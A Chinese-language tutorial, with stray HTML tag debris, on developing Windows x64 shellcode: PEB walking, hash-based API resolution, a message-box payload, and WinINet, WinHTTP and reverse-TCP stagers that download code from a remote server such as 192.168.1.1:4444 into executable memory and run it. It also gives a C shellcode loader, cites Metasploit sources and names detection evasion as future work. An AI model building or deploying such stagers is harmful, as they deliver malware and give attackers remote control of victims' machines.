Windows x64 Shellcode开发技术详解<\/h1>

一、环境配置与基础概念<\/h2>

1.1 开发环境搭建<\/h3>

工具链<\/strong>：Visual Studio + ml64 + link<\/li>

配置步骤：

创建C++控制台应用项目<\/li>
右键项目 → 生成依赖项 → 生成自定义 → 勾选masm<\/li>
添加shellcode.asm文件<\/li>
配置入口点（Debug和Release都需要）<\/li>
Release下设置命令行参数：\/SAFESEH:NO<\/li> <\/ol> <\/li> <\/ul>
1.2 x64 Shellcode关键注意事项<\/h3>
⚠ 最重要的规则<\/strong>：RSP必须保持16字节对齐！<\/p>

Windows x64调用约定要求调用函数时RSP必须对齐到16字节边界<\/li>
涉及栈操作时，push\/pop指令必须使RSP以0结尾<\/li>
不对齐会导致异常<\/li> <\/ul>
二、GetProcAddressByHash实现<\/h2>
2.1 核心思路<\/h3>

获取PEB地址：从GS寄存器中获取TEB，再获取PEB<\/li>
遍历加载的模块列表：从PEB访问Ldr成员，获取PEB_LDR_DATA结构<\/li>
查找目标DLL：比较每个模块的BaseDllName与目标DLL名称<\/li>
解析目标DLL的导出表：获取PE头，定位导出表，遍历函数名称<\/li> <\/ol>
2.2 详细实现步骤<\/h3>

保存寄存器状态<\/strong>：<\/p>

保存前4个参数(rcx, rdx, r8, r9)到栈上<\/li>
保存rsi的值（非易失性寄存器）<\/li> <\/ul> <\/li>

获取模块信息<\/strong>：<\/p>
mov<\/span> rdx<\/span>, gs<\/span>:[rdx<\/span>+<\/span>60<\/span>h<\/span>] ; 获取PEB <\/span><\/span><\/span><\/span>mov<\/span> rdx<\/span>, [rdx<\/span>+<\/span>18<\/span>h<\/span>] ; 获取PEB_LDR_DATA <\/span><\/span><\/span><\/span>mov<\/span> rdx<\/span>, [rdx<\/span>+<\/span>20<\/span>h<\/span>] ; 获取InLoadOrderModuleList第一个模块 <\/span><\/span><\/span><\/code><\/pre><\/li> 模块遍历<\/strong>：<\/p> movzx<\/span> rcx<\/span>, word<\/span> ptr<\/span> [rdx<\/span>+<\/span>48<\/span>h<\/span>] ; 获取模块名称长度 <\/span><\/span><\/span><\/span>mov<\/span> rsi<\/span>, [rdx<\/span>+<\/span>50<\/span>h<\/span>] ; 获取模块名称指针 <\/span><\/span><\/span><\/code><\/pre><\/li> 计算模块hash<\/strong>：<\/p> 将字符串统一为大写或小写（保证大小写不敏感）<\/li> 使用循环右移(ror)计算hash（如ror r8d, 0dh）<\/li> <\/ul> <\/li> 获取导出表<\/strong>：<\/p> mov<\/span> rdx<\/span>, [rdx<\/span>+<\/span>20<\/span>h<\/span>] ; 获取模块基址 <\/span><\/span><\/span><\/span>mov<\/span> eax<\/span>, dword<\/span> ptr<\/span> [rdx<\/span>+<\/span>3<\/span>ch<\/span>] ; 获取PE头RVA <\/span><\/span><\/span><\/span>cmp<\/span> word<\/span> ptr<\/span> [rax<\/span>+<\/span>18<\/span>h<\/span>], 20<\/span>Bh<\/span> ; 检查PE类型(0x20B=PE64) <\/span><\/span><\/span><\/span>mov<\/span> eax<\/span>, dword<\/span> ptr<\/span> [rax<\/span>+<\/span>88<\/span>h<\/span>] ; 获取导出表RVA <\/span><\/span><\/span><\/code><\/pre><\/li> 函数查找<\/strong>：<\/p> 遍历导出表中的函数名称<\/li> 计算函数hash并与目标hash比较<\/li> 找到匹配后获取函数地址<\/li> <\/ul> <\/li> 调用准备<\/strong>：<\/p> 清理栈空间<\/li> 恢复寄存器状态<\/li> 预留32字节的影子空间（Windows x64调用约定要求）<\/li> <\/ul> <\/li> <\/ol> 三、弹窗Shellcode实现<\/h2> 3.1 关键代码结构<\/h3> main<\/span> proc<\/span> <\/span><\/span> ; 栈对齐 <\/span><\/span><\/span><\/span> and<\/span> rsp<\/span>, 0xFFFFFFFFFFFFFFF0<\/span> <\/span><\/span> <\/span><\/span> ; 调用GetProcAddressByHash获取函数地址 <\/span><\/span><\/span><\/span> ; 调用MessageBoxA等API <\/span><\/span><\/span><\/span> ret<\/span> <\/span><\/span>main<\/span> endp<\/span> <\/span><\/span><\/code><\/pre>3.2 注意事项<\/h3> 字符串处理<\/strong>：<\/p> MASM与NASM字符串表示方式不同<\/li> 正确表示：mov r14, '23resu'<\/code> 或 mov r14,0000323372657375h<\/code><\/li> <\/ul> <\/li> 参数传递<\/strong>：<\/p> 前4个参数：RCX、RDX、R8、R9<\/li> 后续参数：从右到左压栈<\/li> 必须预留32字节影子空间<\/li> <\/ul> <\/li> 栈对齐技巧<\/strong>：<\/p> 使用push 0<\/code>等方式保证RSP对齐<\/li> 每次call前检查RSP是否16字节对齐<\/li> <\/ul> <\/li> <\/ol> 四、Stager开发技术<\/h2> 4.1 WinINet版Stager<\/h3> 关键实现点：<\/h4> InternetOpen<\/strong>：<\/p> lpszAgent可设为NULL（使用默认UA "Microsoft-WinINet"）<\/li> <\/ul> <\/li> 服务器地址处理<\/strong>：<\/p> 将服务器地址固定在Shellcode末尾，便于修改<\/li> 示例IP表示：0101A8C05C110002h<\/code> (192.168.1.1:4444)<\/li> <\/ul> <\/li> URI处理技巧<\/strong>：<\/p> call<\/span> httpOpenRequestA<\/span> <\/span><\/span>db<\/span> "\/<\/span>uri<\/span>"<\/span>,0<\/span> <\/span><\/span>httpOpenRequestA: <\/span><\/span>pop<\/span> rsi<\/span> ; 获取URI地址 <\/span><\/span><\/span><\/code><\/pre><\/li> HttpOpenRequest标志<\/strong>：<\/p> 添加INTERNET_FLAG_RELOAD<\/code>强制从服务器获取最新内容<\/li> <\/ul> <\/li> 内存管理<\/strong>：<\/p> 使用VirtualAlloc分配可执行内存<\/li> 注意清理影子空间，确保ret时RSP指向正确地址<\/li> <\/ul> <\/li> <\/ol> 4.2 WinHTTP版Stager<\/h3> 与WinINet版的主要区别：<\/h4> API函数不同（WinHTTP API系列）<\/li> 连接参数设置方式差异<\/li> 数据接收处理逻辑类似<\/li> <\/ol> 4.3 WS2_32版Stager（反向TCP）<\/h3> 关键实现：<\/h4> WSAStartup调用<\/strong>：<\/p> sub<\/span> rsp<\/span>, 400<\/span>+<\/span>8<\/span> ; WSAData结构体(400字节)+对齐补偿 <\/span><\/span><\/span><\/span>mov<\/span> r12<\/span>, 0101<\/span>A8C05C110002h<\/span> ; sockaddr_in结构 <\/span><\/span><\/span><\/code><\/pre><\/li> 连接处理<\/strong>：<\/p> 反向连接只需connect，无需bind\/listen\/accept<\/li> 直接向控制端监听端口发起连接<\/li> <\/ul> <\/li> 栈空间管理<\/strong>：<\/p> 计算需要清理的栈空间： WSAData: 400+8<\/li> push\/pop不平衡: 5*8<\/li> 影子空间: 4*32<\/li> <\/ul> <\/li> <\/ul> <\/li> 数据接收<\/strong>：<\/p> 分段接收远程代码<\/li> 避免在原始数据开头patch 4字节长度信息<\/li> <\/ul> <\/li> <\/ol> 五、测试与提取<\/h2> 5.1 Shellcode测试方法<\/h3> 使用010 Editor等工具提取Shellcode二进制<\/li> 使用专用加载器（如runshc64.exe）测试<\/li> 或导出为C语言数组形式嵌入测试程序<\/li> <\/ol> 5.2 测试程序示例<\/h3> unsigned<\/span> char<\/span> shellcode[] =<\/span> { \/* 提取的Shellcode *\/<\/span> }; <\/span><\/span> <\/span><\/span>int<\/span> main<\/span>() { <\/span><\/span> void<\/span> (*<\/span>func)() =<\/span> (void<\/span>(*<\/span>)())shellcode; <\/span><\/span> func(); <\/span><\/span> return<\/span> 0<\/span>; <\/span><\/span>} <\/span><\/span><\/code><\/pre>六、高级技巧与注意事项<\/h2> 寄存器使用<\/strong>：<\/p> 优先使用R12-R15等非易失性寄存器保存重要值<\/li> 注意调用约定中寄存器的易失性\/非易失性<\/li> <\/ul> <\/li> 对齐问题<\/strong>：<\/p> 所有call指令前必须确保RSP 16字节对齐<\/li> 必要时使用push 0<\/code>等指令进行填充<\/li> <\/ul> <\/li> 字符串处理优化<\/strong>：<\/p> 将字符串放在代码段末尾便于修改<\/li> 使用寄存器直接加载小字符串<\/li> <\/ul> <\/li> 错误处理<\/strong>：<\/p> 添加适当的错误检查逻辑<\/li> 确保失败时能安全退出<\/li> <\/ul> <\/li> <\/ol> 七、参考资源<\/h2> Metasploit框架中的相关汇编代码：<\/p> stager_reverse_https.asm<\/li> block_api.asm<\/li> block_reverse_https.asm<\/li> <\/ul> <\/li> Microsoft官方文档：<\/p> x64调用约定<\/li> <\/ul> <\/li> 相关技术文章：<\/p> Windows Shellcode开发(x86 stager)<\/li> <\/ul> <\/li> <\/ol> 八、后续研究方向<\/h2> Linux Shellcode开发<\/li> SRDI（反射式DLL注入）技术<\/li> 更复杂的载荷加载与执行机制<\/li> 规避检测的技术实现<\/li> <\/ol>